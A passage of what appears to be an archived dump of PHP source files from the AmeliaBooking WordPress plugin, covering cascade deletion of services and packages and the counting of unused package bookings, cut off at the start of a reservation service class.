$this->container->get('application.bookable.package'); return [ 'futureAppointments' => $futureAppointments, 'pastAppointments' => $pastAppointments, 'packageAppointments' => $packageApplicationService->getPackageUnusedBookingsCount( $packageCustomerServices, $appointments ), ]; } /** * * @param array $packagesIds * * @return array * * @throws ContainerValueNotFoundException * @throws QueryExecutionException * @throws InvalidArgumentException */ public function getAppointmentsCountForPackages($packagesIds) { /** @var AppointmentRepository $appointmentRepository */ $appointmentRepository = $this->container->get('domain.booking.appointment.repository'); /** @var PackageCustomerServiceRepository $packageCustomerServiceRepository */ $packageCustomerServiceRepository = $this->container->get('domain.bookable.packageCustomerService.repository'); /** @var Collection $packageCustomerServices */ $packageCustomerServices = $packageCustomerServiceRepository->getByCriteria(['packages' => $packagesIds]); /** @var Collection $appointments */ $appointments = $packageCustomerServices->keys() ? $appointmentRepository->getFiltered( ['packageCustomerServices' => $packageCustomerServices->keys()] ) : new Collection(); $now = DateTimeService::getNowDateTimeObject(); $futureAppointments = 0; $pastAppointments = 0; /** @var Appointment $appointment */ foreach ($appointments->getItems() as $appointment) { if ($appointment->getBookingStart()->getValue() >= $now) { $futureAppointments++; } else { $pastAppointments++; } } /** @var PackageApplicationService $packageApplicationService */ $packageApplicationService = $this->container->get('application.bookable.package'); return [ 'futureAppointments' => $futureAppointments, 'pastAppointments' => $pastAppointments, 'packageAppointments' => $packageApplicationService->getPackageUnusedBookingsCount( $packageCustomerServices, $appointments ), ]; } /** * * @param Category $category * * @return boolean * * @throws ContainerValueNotFoundException * @throws QueryExecutionException * @throws ContainerException * @throws InvalidArgumentException */ public function deleteCategory($category) { /** @var CategoryRepository $categoryRepository */ $categoryRepository = $this->container->get('domain.bookable.category.repository'); /** @var Service $service */ foreach ($category->getServiceList()->getItems() as $service) { if (!$this->deleteService($service)) { return false; } } return $categoryRepository->delete($category->getId()->getValue()); } /** * * @param Service $service * * @return boolean * * @throws ContainerValueNotFoundException * @throws QueryExecutionException * @throws ContainerException * @throws InvalidArgumentException */ public function deleteService($service) { /** @var GalleryApplicationService $galleryService */ $galleryService = $this->container->get('application.gallery.service'); /** @var AppointmentRepository $appointmentRepository */ $appointmentRepository = $this->container->get('domain.booking.appointment.repository'); /** @var ServiceRepository $serviceRepository */ $serviceRepository = $this->container->get('domain.bookable.service.repository'); /** @var CouponServiceRepository $couponServiceRepository */ $couponServiceRepository = $this->container->get('domain.coupon.service.repository'); /** @var ProviderServiceRepository $providerServiceRepository */ $providerServiceRepository = $this->container->get('domain.bookable.service.providerService.repository'); /** @var PeriodServiceRepository $periodServiceRepository */ $periodServiceRepository = $this->container->get('domain.schedule.period.service.repository'); /** @var SpecialDayPeriodServiceRepository $specialDayPeriodServiceRepository */ $specialDayPeriodServiceRepository = $this->container->get('domain.schedule.specialDay.period.service.repository'); /** @var CustomFieldServiceRepository $customFieldServiceRepository */ $customFieldServiceRepository = $this->container->get('domain.customFieldService.repository'); /** @var AppointmentApplicationService $appointmentApplicationService */ $appointmentApplicationService = $this->container->get('application.booking.appointment.service'); /** @var NotificationsToEntitiesRepository $notificationEntitiesRepo */ $notificationEntitiesRepo = $this->container->get('domain.notificationEntities.repository'); /** @var PackageServiceRepository $packageServiceRepository */ $packageServiceRepository = $this->container->get('domain.bookable.package.packageService.repository'); /** @var ResourceEntitiesRepository $resourceEntitiesRepository */ $resourceEntitiesRepository = $this->container->get('domain.bookable.resourceEntities.repository'); /** @var PackageCustomerServiceRepository $packageCustomerServiceRepository */ $packageCustomerServiceRepository = $this->container->get('domain.bookable.packageCustomerService.repository'); /** @var PackageServiceProviderRepository $packageServiceProviderRepository */ $packageServiceProviderRepository = $this->container->get('domain.bookable.package.packageServiceProvider.repository'); /** @var PackageServiceLocationRepository $packageServiceLocationRepository */ $packageServiceLocationRepository = $this->container->get('domain.bookable.package.packageServiceLocation.repository'); /** @var PackageRepository $packageRepository */ $packageRepository = $this->container->get('domain.bookable.package.repository'); /** @var Collection $packages */ $packages = $packageRepository->getByCriteria(['services' => [$service->getId()->getValue()]]); /** @var Collection $appointments */ $appointments = $appointmentRepository->getFiltered( [ 'services' => [$service->getId()->getValue()] ] ); /** @var Appointment $appointment */ foreach ($appointments->getItems() as $appointment) { if (!$appointmentApplicationService->delete($appointment)) { return false; } } if (!$notificationEntitiesRepo->removeIfOnly($service->getId()->getValue())) { return false; } /** @var Extra $extra */ foreach ($service->getExtras()->getItems() as $extra) { if (!$this->deleteExtra($extra)) { return false; } } /** @var Package $package */ foreach ($packages->getItems() as $package) { /** @var PackageService $packageService */ foreach ($package->getBookable()->getItems() as $packageService) { if ($packageService->getService()->getId()->getValue() === $service->getId()->getValue()) { if (!$packageServiceProviderRepository->deleteByEntityId( $packageService->getId()->getValue(), 'packageServiceId' ) || !$packageServiceLocationRepository->deleteByEntityId( $packageService->getId()->getValue(), 'packageServiceId' ) ) { return false; } } } } return $galleryService->manageGalleryForEntityDelete($service->getGallery()) && $customFieldServiceRepository->deleteByEntityId($service->getId()->getValue(), 'serviceId') && $specialDayPeriodServiceRepository->deleteByEntityId($service->getId()->getValue(), 'serviceId') && $periodServiceRepository->deleteByEntityId($service->getId()->getValue(), 'serviceId') && $providerServiceRepository->deleteByEntityId($service->getId()->getValue(), 'serviceId') && $couponServiceRepository->deleteByEntityId($service->getId()->getValue(), 'serviceId') && $serviceRepository->deleteViewStats($service->getId()->getValue()) && $packageServiceRepository->deleteByEntityId($service->getId()->getValue(), 'serviceId') && $packageCustomerServiceRepository->deleteByEntityId($service->getId()->getValue(), 'serviceId') && $resourceEntitiesRepository->deleteByEntityIdAndEntityType($service->getId()->getValue(), 'service') && $serviceRepository->delete($service->getId()->getValue()); } /** * * @param Package $package * * @return boolean * * @throws ContainerValueNotFoundException * @throws QueryExecutionException * @throws ContainerException * @throws InvalidArgumentException */ public function deletePackage($package) { /** @var GalleryApplicationService $galleryService */ $galleryService = $this->container->get('application.gallery.service'); /** @var CustomerBookingRepository $customerBookingRepository */ $customerBookingRepository = $this->container->get('domain.booking.customerBooking.repository'); /** @var PaymentRepository $paymentRepository */ $paymentRepository = $this->container->get('domain.payment.repository'); /** @var PackageRepository $packageRepository */ $packageRepository = $this->container->get('domain.bookable.package.repository'); /** @var PackageServiceRepository $packageServiceRepository */ $packageServiceRepository = $this->container->get('domain.bookable.package.packageService.repository'); /** @var PackageServiceLocationRepository $packageServiceLocationRepository */ $packageServiceLocationRepository = $this->container->get('domain.bookable.package.packageServiceLocation.repository'); /** @var PackageServiceProviderRepository $packageServiceProviderRepository */ $packageServiceProviderRepository = $this->container->get('domain.bookable.package.packageServiceProvider.repository'); /** @var PackageCustomerRepository $packageCustomerRepository */ $packageCustomerRepository = $this->container->get('domain.bookable.packageCustomer.repository'); /** @var PackageCustomerServiceRepository $packageCustomerServiceRepository */ $packageCustomerServiceRepository = $this->container->get('domain.bookable.packageCustomerService.repository'); /** @var PaymentApplicationService $paymentAS */ $paymentAS = $this->container->get('application.payment.service'); /** @var CouponPackageRepository $couponPackageRepository */ $couponPackageRepository = $this->container->get('domain.coupon.package.repository'); /** @var Collection $packageCustomerServices */ $packageCustomerServices = $packageCustomerServiceRepository->getByCriteria( ['packages' => [$package->getId()->getValue()]] ); /** @var PackageCustomerService $packageCustomerService */ foreach ($packageCustomerServices->getItems() as $packageCustomerService) { if (!$customerBookingRepository->updateByEntityId( $packageCustomerService->getId()->getValue(), null, 'packageCustomerServiceId' )) { return false; } } /** @var Collection $packageCustomers */ $packageCustomers = $packageCustomerRepository->getByEntityId($package->getId()->getValue(), 'packageId'); /** @var PackageCustomer $packageCustomer */ foreach ($packageCustomers->getItems() as $packageCustomer) { /** @var Collection $payments */ $payments = $paymentRepository->getByEntityId( $packageCustomer->getId()->getValue(), 'packageCustomerId' ); /** @var Payment $payment */ foreach ($payments->getItems() as $payment) { if (!$paymentAS->delete($payment)) { return false; } } if (!$packageCustomerServiceRepository->deleteByEntityId( $packageCustomer->getId()->getValue(), 'packageCustomerId' ) || !$packageCustomerRepository->delete($packageCustomer->getId()->getValue()) ) { return false; } } /** @var PackageService $packageService */ foreach ($package->getBookable()->getItems() as $packageService) { $packageServiceId = $packageService->getId()->getValue(); if (!$packageServiceLocationRepository->deleteByEntityId($packageServiceId, 'packageServiceId') || !$packageServiceProviderRepository->deleteByEntityId($packageServiceId, 'packageServiceId') ) { return false; } } return $galleryService->manageGalleryForEntityDelete($package->getGallery()) && $packageServiceRepository->deleteByEntityId($package->getId()->getValue(), 'packageId') && $couponPackageRepository->deleteByEntityId($package->getId()->getValue(), 'packageId') && $packageRepository->delete($package->getId()->getValue()); } /** * * @param PackageCustomer $packageCustomer * * @return array|bool * * @throws ContainerException * @throws InvalidArgumentException * @throws NotFoundException * @throws QueryExecutionException */ public function deletePackageCustomer($packageCustomer) { /** @var AppointmentApplicationService $appointmentApplicationService */ $appointmentApplicationService = $this->container->get('application.booking.appointment.service'); /** @var BookingApplicationService $bookingApplicationService */ $bookingApplicationService = $this->container->get('application.booking.booking.service'); /** @var PaymentRepository $paymentRepository */ $paymentRepository = $this->container->get('domain.payment.repository'); /** @var PackageCustomerRepository $packageCustomerRepository */ $packageCustomerRepository = $this->container->get('domain.bookable.packageCustomer.repository'); /** @var PackageCustomerServiceRepository $packageCustomerServiceRepository */ $packageCustomerServiceRepository = $this->container->get('domain.bookable.packageCustomerService.repository'); /** @var AppointmentRepository $appointmentRepository */ $appointmentRepository = $this->container->get('domain.booking.appointment.repository'); /** @var PaymentApplicationService $paymentApplicationService */ $paymentApplicationService = $this->container->get('application.payment.service'); $resultData = [ 'updatedAppointments' => [], 'deletedAppointments' => [], ]; /** @var Collection $packageCustomerServices */ $packageCustomerServices = $packageCustomerServiceRepository->getByCriteria( ['packagesCustomers' => [$packageCustomer->getId()->getValue()]] ); /** @var Collection $packageAppointments */ $packageAppointments = $packageCustomerServices->length() ? $appointmentRepository->getFiltered( [ 'packageCustomerServices' => $packageCustomerServices->keys() ] ) : new Collection(); if ($packageAppointments->length()) { /** @var Collection $appointments */ $appointments = $appointmentRepository->getFiltered(['ids' => $packageAppointments->keys()]); /** @var Appointment $appointment */ foreach ($appointments->getItems() as $appointment) { $serviceId = $appointment->getServiceId()->getValue(); /** @var CustomerBooking $customerBooking */ foreach ($appointment->getBookings()->getItems() as $customerBooking) { if ($customerBooking->getPackageCustomerService() && $packageCustomerServices->keyExists( $customerBooking->getPackageCustomerService()->getId()->getValue() ) ) { /** @var PackageCustomerService $packageCustomerService */ $packageCustomerService = $packageCustomerServices->getItem( $customerBooking->getPackageCustomerService()->getId()->getValue() ); $packageId = $packageCustomerService->getPackageCustomer()->getPackageId()->getValue(); $id = $packageCustomerService->getId()->getValue(); $customerId = $customerBooking->getCustomerId()->getValue(); if (!empty($packageData[$customerId][$serviceId][$packageId][$id])) { if ($packageData[$customerId][$serviceId][$packageId][$id]['available'] > 0) { $packageData[$customerId][$serviceId][$packageId][$id]['available']--; } else { foreach ($packageData[$customerId][$serviceId][$packageId] as $pcsId => $value) { if ($value['available'] > 0) { $packageData[$customerId][$serviceId][$packageId][$pcsId]['available']--; $customerBooking->getPackageCustomerService()->setId(new Id($pcsId)); break; } } } } } } } /** @var Appointment $appointment */ foreach ($appointments->getItems() as $appointment) { if ($appointment->getBookings()->length() === 1) { if (!$appointmentApplicationService->delete($appointment)) { return false; } $resultData['deletedAppointments'][] = $appointmentApplicationService->removeBookingFromNonGroupAppointment( $appointment, $appointment->getBookings()->getItem($appointment->getBookings()->keys()[0]) ); } else { $removedBooking = null; /** @var CustomerBooking $customerBooking */ foreach ($appointment->getBookings()->getItems() as $customerBooking) { if ($customerBooking->getPackageCustomerService() && in_array( $customerBooking->getPackageCustomerService()->getId()->getValue(), $packageCustomerServices->keys() ) ) { if (!$bookingApplicationService->delete($customerBooking)) { return false; } $removedBooking = $customerBooking; } } if ($removedBooking) { $result = $appointmentApplicationService->removeBookingFromGroupAppointment( $appointment, $removedBooking ); foreach ($result['bookingsWithChangedStatus'] as &$booking) { if ($booking['id'] === $removedBooking->getId()->getValue()) { $booking['skipNotification'] = true; } } $resultData['updatedAppointments'][] = $result; } } } } /** @var Collection $payments */ $payments = $paymentRepository->getByEntityId( $packageCustomer->getId()->getValue(), 'packageCustomerId' ); /** @var Payment $payment */ foreach ($payments->getItems() as $payment) { if (!$paymentApplicationService->delete($payment)) { return false; } } if (!$packageCustomerServiceRepository->deleteByEntityId( $packageCustomer->getId()->getValue(), 'packageCustomerId' ) || !$packageCustomerRepository->delete($packageCustomer->getId()->getValue()) ) { return false; } return $resultData; } /** * * @param Extra $extra * * @return boolean * * @throws ContainerValueNotFoundException * @throws QueryExecutionException */ public function deleteExtra($extra) { /** @var ExtraRepository $extraRepository */ $extraRepository = $this->container->get('domain.bookable.extra.repository'); /** @var CustomerBookingExtraRepository $customerBookingExtraRepository */ $customerBookingExtraRepository = $this->container->get('domain.booking.customerBookingExtra.repository'); return $customerBookingExtraRepository->deleteByEntityId($extra->getId()->getValue(), 'extraId') && $extraRepository->delete($extra->getId()->getValue()); } /** * * @param Service $service * @param int $duration * * @return boolean * * @throws ContainerValueNotFoundException * @throws InvalidArgumentException */ public function modifyServicePriceByDuration($service, $duration) { if ($duration) { $customPricing = $service->getCustomPricing() ? json_decode($service->getCustomPricing()->getValue(), true) : null; if ($customPricing && $customPricing['enabled'] && array_key_exists($duration, $customPricing['durations']) ) { $service->setPrice( new Price($customPricing['durations'][$duration]['price']) ); } } } } Services/Bookable/BasicPackageApplicationService.php 0000666 00000004475 15165412624 0016604 0 ustar 00 <?php namespace AmeliaBooking\Application\Services\Bookable; use AmeliaBooking\Domain\Collection\Collection; use AmeliaBooking\Domain\Entity\Booking\Appointment\CustomerBooking; use Exception; use Slim\Exception\ContainerValueNotFoundException; /** * Class BasicPackageApplicationService * * @package AmeliaBooking\Application\Services\Booking */ class BasicPackageApplicationService extends AbstractPackageApplicationService { /** * @param Collection $packageCustomerServices * * @return boolean * * @throws ContainerValueNotFoundException */ public function deletePackageCustomer($packageCustomerServices) { return true; } /** * @param Collection $appointments * * @return void */ public function setPackageBookingsForAppointments($appointments) { } /** * @param int $packageCustomerServiceId * @param int $customerId * @param bool $isCabinetBooking * * @return boolean */ public function isBookingAvailableForPurchasedPackage($packageCustomerServiceId, $customerId, $isCabinetBooking) { return false; } /** * @param array $params * * @return array */ public function getPackageStatsData($params) { return []; } /** * @param array $packageDatesData * @param Collection $appointmentsPackageCustomerServices * @param int $packageCustomerServiceId * @param string $date * @param int $occupiedDuration * * @return void */ public function updatePackageStatsData( &$packageDatesData, $appointmentsPackageCustomerServices, $packageCustomerServiceId, $date, $occupiedDuration ) { } /** * @param Collection $appointments * * @return Collection * * @throws Exception */ public function getPackageCustomerServicesForAppointments($appointments) { return new Collection(); } /** * @param Collection $appointments * @param array $params * * @return array */ public function getPackageAvailability($appointments, $params) { return []; } /** * @return array */ public function getPackagesArray() { return []; } } Services/Bookable/AbstractPackageApplicationService.php 0000666 00000047037 15165412624 0017327 0 ustar 00 <?php namespace AmeliaBooking\Application\Services\Bookable; use AmeliaBooking\Domain\Collection\Collection; use AmeliaBooking\Domain\Common\Exceptions\InvalidArgumentException; use AmeliaBooking\Domain\Entity\Bookable\Service\PackageCustomer; use AmeliaBooking\Domain\Entity\Bookable\Service\PackageCustomerService; use AmeliaBooking\Domain\Entity\Booking\Appointment\Appointment; use AmeliaBooking\Domain\Entity\Booking\Appointment\CustomerBooking; use AmeliaBooking\Domain\Entity\Payment\Payment; use AmeliaBooking\Domain\Services\DateTime\DateTimeService; use AmeliaBooking\Domain\ValueObjects\Number\Integer\Id; use AmeliaBooking\Domain\ValueObjects\String\BookingStatus; use AmeliaBooking\Infrastructure\Common\Container; use AmeliaBooking\Infrastructure\Common\Exceptions\QueryExecutionException; use AmeliaBooking\Infrastructure\Repository\Bookable\Service\PackageCustomerRepository; use AmeliaBooking\Infrastructure\Repository\Bookable\Service\PackageCustomerServiceRepository; use AmeliaBooking\Infrastructure\Repository\Booking\Appointment\AppointmentRepository; use AmeliaBooking\Infrastructure\Repository\Booking\Appointment\CustomerBookingRepository; use AmeliaBooking\Infrastructure\Repository\Coupon\CouponRepository; use Exception; use Slim\Exception\ContainerValueNotFoundException; /** * Class AbstractPackageApplicationService * * @package AmeliaBooking\Application\Services\Booking */ abstract class AbstractPackageApplicationService { /** @var Container $container */ public $container; /** * AbstractPackageApplicationService constructor. * * @param Container $container */ public function __construct(Container $container) { $this->container = $container; } /** * @param Collection $packageCustomerServices * * @return boolean * * @throws ContainerValueNotFoundException */ abstract public function deletePackageCustomer($packageCustomerServices); /** * @param Collection $appointments * * @return void */ abstract public function setPackageBookingsForAppointments($appointments); /** * @param int $packageCustomerServiceId * @param int $customerId * @param bool $isCabinetBooking * * @return boolean */ abstract public function isBookingAvailableForPurchasedPackage($packageCustomerServiceId, $customerId, $isCabinetBooking); /** * @param array $params * * @return array */ abstract public function getPackageStatsData($params); /** * @param array $packageDatesData * @param Collection $appointmentsPackageCustomerServices * @param int $packageCustomerServiceId * @param string $date * @param int $occupiedDuration * * @return void */ abstract public function updatePackageStatsData( &$packageDatesData, $appointmentsPackageCustomerServices, $packageCustomerServiceId, $date, $occupiedDuration ); /** * @param Collection $appointments * * @return Collection * * @throws Exception */ abstract public function getPackageCustomerServicesForAppointments($appointments); /** * @param Collection $appointments * @param array $params * * @return array */ abstract public function getPackageAvailability($appointments, $params); /** * @return array */ abstract public function getPackagesArray(); /** * @param array $paymentsData * @return void * * @throws InvalidArgumentException * @throws QueryExecutionException */ public function setPaymentData(&$paymentsData) { $packageCustomerIds = []; foreach ($paymentsData as $payment) { if (!$payment['appointmentId']) { $eventBookingIds[] = $payment['customerBookingId']; } if (!$payment['customerBookingId']) { $packageCustomerIds[] = $payment['packageCustomerId']; } } /** @var PackageCustomerServiceRepository $packageCustomerServiceRepository */ $packageCustomerServiceRepository = $this->container->get('domain.bookable.packageCustomerService.repository'); /** @var Collection $packageCustomerServices */ $packageCustomerServices = $packageCustomerServiceRepository->getByCriteria( [ 'packagesCustomers' => $packageCustomerIds ] ); /** @var AppointmentRepository $appointmentRepository */ $appointmentRepository = $this->container->get('domain.booking.appointment.repository'); if ($packageCustomerServices->length()) { /** @var Collection $appointments */ $appointments = $appointmentRepository->getFiltered( [ 'packageCustomerServices' => $packageCustomerServices->keys(), ] ); $paymentsIds = array_column($paymentsData, 'id'); /** @var Appointment $appointment */ foreach ($appointments->getItems() as $appointment) { /** @var CustomerBooking $booking */ foreach ($appointment->getBookings()->getItems() as $booking) { /** @var PackageCustomerService $packageCustomerService */ if ($booking->getPackageCustomerService()) { $packageCustomerService = $packageCustomerServices->getItem( $booking->getPackageCustomerService()->getId()->getValue() ); /** @var Collection $payments */ $payments = $packageCustomerService->getPackageCustomer()->getPayments(); /** @var Payment $payment */ foreach ($payments as $payment) { if ($payment && ($key = array_search($payment->getId()->getValue(), $paymentsIds)) !== false) { $paymentsData[$paymentsIds[$key]]['bookingStart'] = $appointment->getBookingStart()->getValue()->format('Y-m-d H:i:s'); $paymentsData[$paymentsIds[$key]]['providers'][$appointment->getProvider()->getId()->getValue()] = [ 'id' => $appointment->getProvider()->getId()->getValue(), 'fullName' => $appointment->getProvider()->getFullName(), 'email' => $appointment->getProvider()->getEmail()->getValue(), ]; } } } } } } } /** * @param Collection $appointments * @param Collection $packageCustomerServices * @param array $packageData * * @return array */ private function fixPurchase($appointments, $packageCustomerServices, $packageData) { /** @var CustomerBookingRepository $customerBookingRepository */ $customerBookingRepository = $this->container->get('domain.booking.customerBooking.repository'); /** @var PackageCustomerRepository $packageCustomerRepository */ $packageCustomerRepository = $this->container->get('domain.bookable.packageCustomer.repository'); try { $hasAlter = false; /** @var Appointment $appointment */ foreach ($appointments->getItems() as $appointment) { $serviceId = $appointment->getServiceId()->getValue(); /** @var CustomerBooking $customerBooking */ foreach ($appointment->getBookings()->getItems() as $customerBooking) { if ($customerBooking->getPackageCustomerService() && $packageCustomerServices->keyExists( $customerBooking->getPackageCustomerService()->getId()->getValue() ) ) { /** @var PackageCustomerService $packageCustomerService */ $packageCustomerService = $packageCustomerServices->getItem( $customerBooking->getPackageCustomerService()->getId()->getValue() ); $packageId = $packageCustomerService->getPackageCustomer()->getPackageId()->getValue(); $id = $packageCustomerService->getId()->getValue(); $customerId = $customerBooking->getCustomerId()->getValue(); if (!empty($packageData[$customerId][$serviceId][$packageId][$id]) && !$packageCustomerService->getPackageCustomer()->getStatus() ) { if ($packageData[$customerId][$serviceId][$packageId][$id]['available'] > 0) { $packageData[$customerId][$serviceId][$packageId][$id]['available']--; } else { foreach ($packageData[$customerId][$serviceId][$packageId] as $pcsId => $value) { if ($value['available'] > 0) { $packageData[$customerId][$serviceId][$packageId][$pcsId]['available']--; $customerBooking->getPackageCustomerService()->setId(new Id($pcsId)); $customerBookingRepository->updateFieldById( $customerBooking->getId()->getValue(), $pcsId, 'packageCustomerServiceId' ); $hasAlter = true; break; } } } } } } } if ($hasAlter) { $alteredPcIds = []; /** @var PackageCustomerService $packageCustomerService */ foreach ($packageCustomerServices->getItems() as $packageCustomerService) { $alteredPcIds[] = $packageCustomerService->getPackageCustomer()->getId()->getValue(); $packageCustomerService->getPackageCustomer()->setStatus( new BookingStatus(BookingStatus::APPROVED) ); } foreach (array_unique($alteredPcIds) as $value) { $packageCustomerRepository->updateFieldById( $value, 'approved', 'status' ); } } } catch (Exception $e) { } } /** * @param Collection $packageCustomerServices * @param Collection $appointments * * @return array * * @throws ContainerValueNotFoundException * @throws InvalidArgumentException */ public function getPackageUnusedBookingsCount($packageCustomerServices, $appointments) { $packageData = []; /** @var PackageCustomerService $packageCustomerService */ foreach ($packageCustomerServices->getItems() as $packageCustomerService) { /** @var PackageCustomer $packageCustomer */ $packageCustomer = $packageCustomerService->getPackageCustomer(); $customerId = $packageCustomer->getCustomerId()->getValue(); $serviceId = $packageCustomerService->getServiceId()->getValue(); $packageId = $packageCustomer->getPackageId()->getValue(); $id = $packageCustomerService->getId()->getValue(); /** @var Id $couponId */ $couponId = $packageCustomer->getCouponId() ? $packageCustomer->getCouponId()->getValue() : null; $coupon = null; if ($couponId) { /** @var CouponRepository $couponRepository */ $couponRepository = $this->container->get('domain.coupon.repository'); $coupon = $couponRepository->getById($couponId)->toArray(); unset($coupon['serviceList']); unset($coupon['eventList']); unset($coupon['packageList']); } if (($packageCustomer->getEnd() ? $packageCustomer->getEnd()->getValue() > DateTimeService::getNowDateTimeObject() : true) && !isset($packageData[$customerId][$serviceId][$packageId][$id]) ) { $quantity = $packageCustomer->getBookingsCount() && $packageCustomer->getBookingsCount()->getValue() ? $packageCustomer->getBookingsCount()->getValue() : $packageCustomerService->getBookingsCount()->getValue(); $packageData[$customerId][$serviceId][$packageId][$id] = [ 'total' => $quantity, 'count' => $quantity, 'employeeId' => $packageCustomerService->getProviderId() ? $packageCustomerService->getProviderId()->getValue() : null, 'locationId' => $packageCustomerService->getLocationId() ? $packageCustomerService->getLocationId()->getValue() : null, 'serviceId' => $packageCustomerService->getServiceId() ? $packageCustomerService->getServiceId()->getValue() : null, 'start' => $packageCustomer->getStart() ? $packageCustomer->getStart()->getValue()->format('Y-m-d H:i') : null, 'end' => $packageCustomerService->getPackageCustomer()->getEnd() ? $packageCustomer->getEnd()->getValue()->format('Y-m-d H:i') : null, 'purchased' => $packageCustomer->getPurchased() ? $packageCustomer->getPurchased()->getValue()->format('Y-m-d H:i') : null, 'status' => $packageCustomer->getStatus() ? $packageCustomer->getStatus()->getValue() : 'approved', 'packageCustomerId' => $packageCustomer->getId() ? $packageCustomer->getId()->getValue() : null, 'available' => $packageCustomerService->getBookingsCount()->getValue(), 'sharedCapacity' => $packageCustomer->getBookingsCount() && $packageCustomer->getBookingsCount()->getValue(), 'payments' => $packageCustomer->getPayments()->toArray(), 'coupon' => $coupon ?: null ]; } } $customerData = []; if ($packageCustomerServices->length()) { $this->fixPurchase($appointments, $packageCustomerServices, $packageData); /** @var Appointment $appointment */ foreach ($appointments->getItems() as $appointment) { $serviceId = $appointment->getServiceId()->getValue(); /** @var CustomerBooking $customerBooking */ foreach ($appointment->getBookings()->getItems() as $customerBooking) { if ($customerBooking->getPackageCustomerService() && $packageCustomerServices->keyExists( $customerBooking->getPackageCustomerService()->getId()->getValue() ) && $customerBooking->getStatus()->getValue() !== BookingStatus::CANCELED ) { /** @var PackageCustomerService $packageCustomerService */ $packageCustomerService = $packageCustomerServices->getItem( $customerBooking->getPackageCustomerService()->getId()->getValue() ); $packageId = $packageCustomerService->getPackageCustomer()->getPackageId()->getValue(); $id = $packageCustomerService->getId()->getValue(); $customerId = $customerBooking->getCustomerId()->getValue(); if (!array_key_exists($customerId, $customerData)) { $customerData[$customerId] = [ $serviceId => [ $packageId => [ $id => 1 ] ] ]; } elseif (!array_key_exists($serviceId, $customerData[$customerId])) { $customerData[$customerId][$serviceId] = [ $packageId => [ $id => 1 ] ]; } elseif (!array_key_exists($packageId, $customerData[$customerId][$serviceId])) { $customerData[$customerId][$serviceId][$packageId] = [ $id => 1 ]; } elseif (!array_key_exists($id, $customerData[$customerId][$serviceId][$packageId])) { $customerData[$customerId][$serviceId][$packageId][$id] = 1; } else { $customerData[$customerId][$serviceId][$packageId][$id] += 1; } } } } } $result = []; foreach ($packageData as $customerId => $customerValues) { foreach ($customerValues as $serviceId => $serviceValues) { foreach ($serviceValues as $packageId => $packageValues) { foreach ($packageValues as $id => $values) { $bookedCount = !empty($customerData[$customerId][$serviceId][$packageId][$id]) ? $customerData[$customerId][$serviceId][$packageId][$id] : 0; $result[$customerId][$packageId][$serviceId][$id] = array_merge( $values, [ 'total' => $values['total'], 'count' => $values['count'] - $bookedCount ] ); } } } } $parsedResult = []; foreach ($result as $customerId => $customerValues) { $customerPackagesServices = [ 'customerId' => $customerId, 'packages' => [] ]; foreach ($customerValues as $packageId => $serviceValues) { $packagesServices = [ 'packageId' => $packageId, 'services' => [] ]; foreach ($serviceValues as $serviceId => $packageValues) { $services = [ 'serviceId' => $serviceId, 'bookings' => [] ]; foreach ($packageValues as $id => $values) { $booking = array_merge( ['id' => $id], $values ); unset($booking['available']); $services['bookings'][] = $booking; } $packagesServices['services'][] = $services; } $customerPackagesServices['packages'][] = $packagesServices; } $parsedResult[] = $customerPackagesServices; } return $parsedResult; } } Services/Reservation/AppointmentReservationService.php 0000666 00000156607 15165412624 0017433 0 ustar 00 <?php namespace AmeliaBooking\Application\Services\Reservation; use AmeliaBooking\Application\Commands\CommandResult; use AmeliaBooking\Application\Services\Bookable\BookableApplicationService; use AmeliaBooking\Application\Services\Bookable\PackageApplicationService; use AmeliaBooking\Application\Services\Booking\AppointmentApplicationService; use AmeliaBooking\Application\Services\Coupon\CouponApplicationService; use AmeliaBooking\Application\Services\Helper\HelperService; use AmeliaBooking\Application\Services\TimeSlot\TimeSlotService as ApplicationTimeSlotService; use AmeliaBooking\Domain\Collection\Collection; use AmeliaBooking\Domain\Common\Exceptions\BookingCancellationException; use AmeliaBooking\Domain\Common\Exceptions\BookingsLimitReachedException; use AmeliaBooking\Domain\Common\Exceptions\BookingUnavailableException; use AmeliaBooking\Domain\Common\Exceptions\CouponExpiredException; use AmeliaBooking\Domain\Common\Exceptions\CouponInvalidException; use AmeliaBooking\Domain\Common\Exceptions\CouponUnknownException; use AmeliaBooking\Domain\Common\Exceptions\CustomerBookedException; use AmeliaBooking\Domain\Common\Exceptions\InvalidArgumentException; use AmeliaBooking\Domain\Common\Exceptions\PackageBookingUnavailableException; use AmeliaBooking\Domain\Entity\Bookable\AbstractBookable; use AmeliaBooking\Domain\Entity\Bookable\Service\Extra; use AmeliaBooking\Domain\Entity\Bookable\Service\Service; use AmeliaBooking\Domain\Entity\Booking\Appointment\Appointment; use AmeliaBooking\Domain\Entity\Booking\Appointment\CustomerBooking; use AmeliaBooking\Domain\Entity\Booking\Appointment\CustomerBookingExtra; use AmeliaBooking\Domain\Entity\Booking\Reservation; use AmeliaBooking\Domain\Entity\Coupon\Coupon; use AmeliaBooking\Domain\Entity\Entities; use AmeliaBooking\Domain\Entity\Location\Location; use AmeliaBooking\Domain\Entity\Payment\Payment; use AmeliaBooking\Domain\Entity\User\AbstractUser; use AmeliaBooking\Domain\Factory\Booking\Appointment\AppointmentFactory; use AmeliaBooking\Domain\Factory\Booking\Appointment\CustomerBookingFactory; use AmeliaBooking\Domain\Services\Booking\AppointmentDomainService; use AmeliaBooking\Domain\Services\DateTime\DateTimeService; use AmeliaBooking\Domain\Services\Settings\SettingsService; use AmeliaBooking\Domain\ValueObjects\BooleanValueObject; use AmeliaBooking\Domain\ValueObjects\Number\Float\Price; use AmeliaBooking\Domain\ValueObjects\Number\Integer\Id; use AmeliaBooking\Domain\ValueObjects\PositiveDuration; use AmeliaBooking\Domain\ValueObjects\String\BookingStatus; use AmeliaBooking\Domain\ValueObjects\String\PaymentStatus; use AmeliaBooking\Domain\ValueObjects\String\PaymentType; use AmeliaBooking\Domain\ValueObjects\String\Status; use AmeliaBooking\Infrastructure\Common\Exceptions\NotFoundException; use AmeliaBooking\Infrastructure\Common\Exceptions\QueryExecutionException; use AmeliaBooking\Infrastructure\Repository\Booking\Appointment\AppointmentRepository; use AmeliaBooking\Infrastructure\Repository\Booking\Appointment\CustomerBookingRepository; use AmeliaBooking\Infrastructure\Repository\Location\LocationRepository; use AmeliaBooking\Infrastructure\Repository\Payment\PaymentRepository; use AmeliaBooking\Infrastructure\Repository\User\CustomerRepository; use AmeliaBooking\Infrastructure\WP\Integrations\WooCommerce\WooCommerceService; use AmeliaBooking\Infrastructure\WP\Translations\FrontendStrings; use Exception; use Interop\Container\Exception\ContainerException; use Slim\Exception\ContainerValueNotFoundException; /** * Class 